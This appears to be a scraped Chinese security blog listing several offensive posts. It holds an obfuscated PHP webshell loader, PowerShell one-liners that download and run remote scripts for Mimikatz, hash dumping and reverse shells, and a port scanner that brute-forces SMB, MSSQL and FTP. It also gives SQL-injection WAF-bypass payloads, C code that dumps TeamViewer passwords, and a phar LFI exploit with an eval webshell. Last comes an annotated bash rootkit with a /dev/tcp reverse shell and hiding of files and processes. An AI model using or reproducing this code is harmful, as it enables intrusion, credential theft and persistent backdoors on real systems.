$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

powershell学习笔记

发布时间:June 16, 2015 // 分类:运维工作,工作日志,代码学习,转帖文章,windows // No Comments

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后,powershell已被集成在系统当中

============================================

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些,来一个脑图:

另外需要说明的是如何加载ps脚本的问题:

方法1:powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

================================

 

3.实例代码

学了不用等于白学,招了一个github 源码[https://github.com/samratashok/nishang/tree/master/Scan],

抄抄改改,写出一个端口扫描,并且支持ftp,smb和mssql爆破ps1脚本

代码:


function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
        
        [string]
        $file,
        
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
    
    #init Brute force SQL Server function
    $Connection = New-Object System.Data.SQLClient.SQLConnection

        
        
    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
        foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
            
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
            
            $openport=@()
            
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
    
                    if($client.Connected) {                     
                        $openport += $port
                
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                    
                    $client.Close()
                
                }
                
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
            
            }
            }
        }
        }
    }
    
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                    Try
                    {
                        $Connection.Open()
                        $success = $true
                    }
                    Catch
                    {
                        $success = $false
                        Write-host "login mssql to $ip with $username : $password fail "
                    }
                    if($success -eq $true) 
                    {
                            Write-host "login mssql to $ip with $username : $Password  is successful" -ForegroundColor green
                            "login mssql to $ip with $username : $Password  is successful"| out-file -Append -filepath $file
                            Break
                    } 
                }
                
            }
            
            
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
    
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]
                        $password=$j.Split(":")[1]                
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green
                        "login ftp to $ip with $username : $password  is successful"| out-file -Append -filepath $file
                        break
                    }
                    Catch {
                    Write-host "login ftp to $ip with $username : $password fail "
                    }
                }
                

            }
            
            

        }
    }
    
    Write-host "put all into $file" -ForegroundColor red
    
    }
    
    
    
    
    End {
    }
}

效果:

bug:

1.代码是单线程的速度一定慢,不知道powershell要怎么去分配线程池

2.smb直接使用了wmic命令,当密码不对时候会显示一个错误,不知道如何去屏蔽不显示

代码没有没有进行服务指纹识别什么的,还是非常粗糙的

 

================================

4.一些很屌的powershell工具

4.1.获取hash

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

4.2.获取明文---Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 

4.3 nc---powercat

 

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

4.4----各种反弹shell

http:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

tcp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

udp:

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

icmp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

 

来源:

https://github.com/samratashok/nishang

================================

 

5.结尾

资料来源:

https://github.com/samratashok/nishang/

http://x0day.me/

http://zone.wooyun.org/content/20429

通用的关于sql注入的绕过waf的技巧(利用mysql的特性)

发布时间:June 16, 2015 // 分类:运维工作,工作日志,代码学习,转帖文章 // No Comments

直接上语法

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

因为一般waf在防御的时候会识别union等关键词的单词边界,但是这个语句刚好可以绕过单词边界的判定。
我是fuzz出来的,了解了一下,大概是利用了语法分析中浮点击指数后语境结束,之后就直接执行后面的语句了。

另外根据官方文档我们可以看到\N其实相当于NULL字符,利用这个特性可以绕过很多waf。

9.1.7 NULL Values
The NULL value means “no data.” NULL can be written in any lettercase. A synonym is \N (case sensitive).

获取运行中的TeamViewer的账号和密码

发布时间:June 10, 2015 // 分类:工作日志,运维工作,代码学习,VC/C/C++,转帖文章 // 1 Comment

Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
 
int status = 0;
 
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "Allow Remote Control") != NULL)
        {
                status = 1;
                printf("TeamViewer ID: ");
        }
       
        if (strstr(BufferContent, "Please tell your partner") != NULL)
        {
                status = 1;
                printf("TeamViewer PASS: ");
        }
 
        return 1;
}
 
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "E-mail") != NULL)
        {
                status = 1;
                printf("E-mail: ");
        }
       
        if (strstr(BufferContent, "Password") != NULL)
        {
                status = 1;
                printf("Password: ");
        }
 
        return 1;
}
 
 
int main()
{
        HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
 
        if (hwndTeamViewer)
        {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
        }
       
       
        HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
 
        if (hwndAccount)
        {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
        }
 
       
        return 0;
}
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

C:\tools\Projects>

php phar LFI

发布时间:June 9, 2015 // 分类:PHP,代码学习,转帖文章 // No Comments

0x01. 什么是phar

文件归档到一个文件包。
将一个模块的文件打包成一个phar,这样方便模块整体迁移,只需将phar文件移动过去,其他环境中include即可使用。
类似于java的 .jar 文件。
php 5.3时,为php的C语言扩展,安装php时会默认安装。

0x02. 创建phar文件

phar.readonly = Off 这个参数必须设置为Off,如果为On,表示phar文档不可写。

makephar.php

<?php

try{
    $p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}

$p->startBuffering();
$p['file1.txt'] = 'file1'; 
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';

// use my.phar
echo file_get_contents('phar://my.phar/file2.txt');  // echo file2

// make a file named my.phar
$p->setStub("<?php
    Phar::mapPhar('myphar.phar');  
__HALT_COMPILER();");

$p->stopBuffering();

?>

上面代码生成一个my.phar文件,代码输出file2字符串。

my.phar文件包含了file1.txt,file2.txt,file3.txt和shell.php这四个文件。当然了,这四个文件不是真实存在磁盘上。

注意:这几个文件不能直接通过http访问,但可以被include和file_get_contents等php函数利用。

0x03. 利用phar

在makephar.php文件的当前目录,新建一个callphar.php,利用phar特定的格式。

<?php
include 'phar://my.phar/shell.php';
?>

访问callphar.php即可调用shell.php

注意:phar文件不受文件名限制,即my.char可以任意的重命名为aaa.bbb

callphar.php

<?php
include 'phar://aaa.bbb/shell.php';
?>

1

0x04. LFI漏洞代码及利用

upload.php

<?php

if(isset($_POST['submit'])){
    $upload_name = $_FILES['file']['name'];
    $tempfile = $_FILES['file']['tmp_name'];
    $upload_ext = trim(get_extension($upload_name)); 

    $savefile = RandomString() . '.txt';
    if ($upload_ext == 'txt') {
            if(move_uploaded_file($tempfile,$savefile)) {
                die('Success upload. FileName: '.$savefile);
            }
            else {
                die('Upload failed..');
            }
    }
    else {
        die('You are not a txt file..');
    }

}
function get_extension($file){
    return strtolower(substr($file, strrpos($file, '.')+1));    
}

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

// make a lfi vulnerability
$file = $_REQUEST['file'];
if ($file != '') {
    $inc = sprintf("%s.php", $file); // only php file can be included
    include($inc);
}
?>


<html>
    <body>
        <form method="post" action="#" enctype="multipart/form-data">
            <input type="file" name="file" value=""/>
            <input type="submit" name="submit" value="upload"/>
        </form>
    </body>
</html>

上面代码只能上传txt文件,并且可以include php后缀名的文件。

利用:
将makephar.php生成的my.char重命名为phar.txt,并且上传。

2

所以POC为:
http://localhost/pentest/web200/upload.php?file=phar://S9EvthZuJI1TC4u5.txt/shell

3

0x5 参考

http://blog.csdn.net/yonggang7/article/details/24142725
http://drops.wooyun.org/papers/4544

使用Python扫描端口情况

发布时间:June 8, 2015 // 分类:工作日志,代码学习,python // No Comments

# -*- coding:utf8 -*-
#!/usr/bin/python
 
import socket, time, thread
socket.setdefaulttimeout(3)
 
def socket_port(ip,port):
    """
    输入IP和端口号,扫描判断端口是否开放
    """
    try:
        if port>=65535:
            print u'端口扫描结束'
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result=s.connect_ex((ip,port))
        if result==0:
            lock.acquire()
            print  ip,u':',port,u'端口开放'
            lock.release()
        s.close()
    except:
        print u'端口扫描异常'
 
def ip_scan(ip):
    """
    输入IP,扫描IP的0-65534端口情况
    """
    try:
        print u'开始扫描 %s' % ip
        start_time=time.time()
        for i in range(0,65534):
            thread.start_new_thread(socket_port,(ip,int(i)))
        print u'扫描端口完成,总共用时 :%.2f' %(time.time()-start_time)
        raw_input("Press Enter to Exit")
    except:
        print u'扫描ip出错'
         
 
if __name__=='__main__':
    url=raw_input('Input the ip you want to scan:\n')
    lock=thread.allocate_lock()
    ip_scan(url)

brootkit: 一个shell脚本写的后门

发布时间:June 7, 2015 // 分类:工作日志,运维工作,linux,代码学习,转帖文章 // 1 Comment

今晚在吃饭呢, XX给我发来一条消息, 让我看看brootkit, 看看这个东西的兼容性怎样. 然后我把每个文件观察了一下, 发现它最核心的功能就是一个反弹shell, 利用了bash的可以创建tcp连接的特性. 其它的脚本除了brootkit.sh之外, 基本就是为了更加适合小白去使用而写的, 不过brootkit.sh的主要功能就是根据rootkit的配置文件隐藏这一整套的脚本和配置文件. 兼容性不怎样, 因为很可能没有bash这个程序.

打开连接看了一下描述, 是这样的, 它是一个bash脚本写的rootkit工具.

它可以做这些事情

more hidable ability against admintrator or hids.
su passwd thief.
hide file and directorys.
hide process.
hide network connections.
connect backdoor.
muilt thread port scanner.
http download.
好吧, 先checkout出来

MacOS:tmp cc$ svn co https://github.com/cloudsec/brootkit
A    brootkit/branches
A    brootkit/trunk
A    brootkit/trunk/.bdrc
A    brootkit/trunk/README
A    brootkit/trunk/README.md
A    brootkit/trunk/bashbd.sh
A    brootkit/trunk/br.conf
A    brootkit/trunk/br_config.sh
A    brootkit/trunk/brdaemon.sh
A    brootkit/trunk/brget.sh
A    brootkit/trunk/brootkit.sh
A    brootkit/trunk/brscan.sh
A    brootkit/trunk/install.sh
A    brootkit/trunk/uninstall.sh
Checked out revision 35.
MacOS:tmp cc$

可以看到, 有一个配置文件, 还有8个sh脚本, 根据README的描述, 应该是bash脚本

一个个脚本来看, 首先看bashbd.sh, 我给加上注释了

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

. $BR_ROOTKIT_PATH/br_config.sh

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [ 1 ]
    do  
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
        {
        PS1='[\A j\j \u@\h:t\l \w]\$';export PS1
        exec 9<> /dev/tcp/$target_ip/$target_port # 这一步需要bash支持, 就是把9号文件描述符打开并重定向到某个ip的某个端口.
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 # 检查文件描述符是否打开成功, 如果失败则退出, 否则把当前shell的标准输入和标准输出以及出错重定向到文件描述符
        if type python >/dev/null;then # 如果有python则用python去调用bash获取反弹shell
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i # 如果没有python就执行bash, 其实这里是执行任意shell都可以的
        fi
        }&
        wait

        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_load_config $BR_ROOTKIT_PATH/br.conf
br_connect_backdoor

从man手册可以知道那个rcfile选项的意思是这样的

--rcfile file
Execute commands from file instead of the standard personal initialization file ~/.bashrc if the shell is interactive (see INVOCATION below).

而那个.bdrc文件只是打印一个欢迎字符串而已

#!/bin/bash

echo -e "\033[31m\t\t\t\twelcome to brootkit\033[0m\033[32m"

br.conf里面定义了一些需要隐藏的文件和进程, 还有反弹shell的目标ip和端口

#brootkit config file.
#
HIDE_PORT       8080,8899
HIDE_FILE       br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
HIDE_PROC       bashbd,brootkit,pty.spawn,brdaemon
REMOTE_HOST     localhost
REMOTE_PORT     8080
SLEEP_TIME      60

看一下br_config.sh, 它定义了3个函数, 以及许多数组变量, 用来载入和显示配置文件的参数的

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f 1`
                arg2=`echo $line | cut -d " " -f 2`

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $1
}

function display_array()
{
    declare -a arg_tmp=$1
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

根据man手册, declare -a的意思是声明一个数组

An array is created automatically if any variable is assigned to using
the syntax name[subscript]=value. The subscript is treated as an
arithmetic expression that must evaluate to a number greater than or
equal to zero. To explicitly declare an array, use declare -a name
(see SHELL BUILTIN COMMANDS below). declare -a name[subscript] is also
accepted; the subscript is ignored. Attributes may be specified for an
array variable using the declare and readonly builtins. Each attribute
applies to all members of an array.

这是brget.sh的内容, 用bash些的一个发送get请求的脚本, 用到了bash的特性, 就是发起tcp连接并且打开文件描述符连接到这个tcp连接

#!/bin/bash

declare remote_host
declare remote_port
declare remote_file
declare remote_file_len

function sock_read()
{
    local line tmp

    read -u 9 -t 5 line
    if ! echo $line|grep -e "200 OK" >/dev/null; then
        echo $line
        rm -f $remote_file
        socket_close
        exit
    else
        echo "response 200 ok."
    fi

    while read -u 9 -t 5 line
    do
        if [ ${#line} -eq 1 ]; then
            break
        fi

        tmp=`echo $line|cut -d " " -f 1`
        if [ "$tmp" == "Content-Length:" ]; then
            remote_file_len=`echo $line|cut -d " " -f 2`
        fi
    done

    echo "length: $remote_file_len"
    while read -u 9 -t 5 line
    do
        echo -e "$line" >>$remote_file
    done
}

function sock_write()
{
    local buf

    buf="GET /$3 http/1.0\r\nHost: $1:$2\r\n"
    echo -e $buf >&9
    [ $? -eq 0 ] && echo "send http request ok." || echo "send http request failed."
}

function socket_create()
{
    exec 9<> /dev/tcp/$1/$2
    [ $? -eq 0 ] && echo "connect to $1:$2 ok." || echo "connect to $1:$2 failed."
}

function socket_close()
{
    exec >&9-
    [ $? -ne 0 ] && echo "close socket failed."
}

function parse_url()
{
    local url=$1

    url=${url#http://}
    remote_file=${url#*/}
    remote_host=`echo $url | awk -F '/' '{print $1}'`
    remote_port=`echo $remote_host | awk -F ':' '{print $2}'`
    remote_host=`echo $remote_host | awk -F ':' '{print $1}'`

    [ "$remote_port" == "" ] && remote_port=80
}

function file_init()
{
    [ -f $remote_file ] && rm -f $remote_file || touch $remote_file
}

function display_start()
{
    local tmp

    tmp=`date +'%F %T'` 
    tmp="--$tmp-- $1"
    echo -e $tmp
}

function display_finsh()
{
    local tmp

    tmp=`date +'%F %T'` 
    tmp="\n--$tmp-- - $remote_file saved $remote_file_len"
    echo -e "$tmp"
}

function wget_usage()
{
    echo -e "$0 <url>\n"
    echo "exp:"
    echo "$0 http://www.baidu.com/index.html"
    echo "$0 http://www.baidu.com:80/index.html"
}

function main()
{
    if [ $# -eq 0 ]; then
        wget_usage $1
        exit
    fi

    parse_url $@

    file_init
    display_start $1
    socket_create $remote_host $remote_port
    sock_write $remote_host $remote_port $remote_file
    sock_read
    display_finsh
    socket_close
}

main $@

用起来就像这样

MacOS:trunk cc$ bash brget.sh http://g.cn
--2015-01-20 22:33:20-- http://g.cn
connect to g.cn:80 ok.
send http request ok.
HTTP/1.0 400 Bad Request
MacOS:trunk cc$

brscan.sh, 看名字就知道了, 是一个端口扫描的东西, 看代码, 也用到了bash的发起tcp连接的特性

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=0
declare br_curr_port_num=0
declare br_open_port_num=0
declare br_thread_num=0
declare br_timeout=2
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=('/' '|' '\\' '-')
declare playx_len=4

declare max_col_num=64
declare base_row=0
declare base_col=1
declare cur_col=2
declare total_port=10
declare cur_port=0

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        for ((i = 1; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+1))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($1/3600/24))
        hour=$(($1/3600))
        min=$(($1/60))

        if [ $min -eq 0 ]; then
                sec=$(($1%60))
        total_run_time="$sec s"
        else
                if [ $hour -eq 0 ]; then
                        sec=$(($1%60))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq 0 ]; then
                                tmp=$(($1%3600))
                                min=$(($tmp/60))
                                sec=$(($tmp%60))
                                total_run_time="$hour h $min m $sec s"
                        else
                                # 86400 = 3600 * 24
                                tmp=$(($1%86400))
                                hour=$(($tmp/3600))
                                tmp1=$(($tmp%3600))
                                min=$(($tmp1/60))
                                sec=$(($tmp1%60))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi


                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$1/stat | cut -d " " -f 22`
    else
        return 0
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1`
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+1))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

    y=$((max_col_num+3))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" \
        $br_curr_port_num $br_port_num

    x=$((x+2)); y=1
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" \
        $br_remote_host 
}

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m=0 run_time x

    mkdir -p .scan

    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+3))
        if [ $x -ge $max_row_num ]; then
             m=0;x=3
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" \
            $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec 2>&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
                fi
        done

    for ((i = 0; i < $3; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi

        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $1 => remote host
# $2 => thread_num
function br_scan_port()
{
    local i

    for ((i = 0; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = 0; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $1 | cut -d "-" -f 1`
    end_port=`echo $1 | cut -d "-" -f 2`

    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=','; ports=$1

    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
    max_row_num=$((MAX_ROW_NUM-5))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq 0 ]; then
        br_usage $0
        exit 0
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            br_parse_port $OPTARG ;;
        n)
            br_thread_num=$OPTARG ;;
        t)
            br_timeout=$OPTARG ;;
        o)
            br_logfile=$OPTARG ;;
        h)
            br_usage $0
            exit 0
            ;;
        ?)
            echo "unkown arguments."
            exit 1
            ;;
        esac
    done

    shift $((OPTIND-1))
    br_remote_host=$@

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    br_scan_init
    br_play_init
    br_show_arg
    br_scan_port
    br_scan_exit
}

main $@

brdaemon.sh是一个把bashbd.sh放后台执行的一个脚本

#!/bin/bash

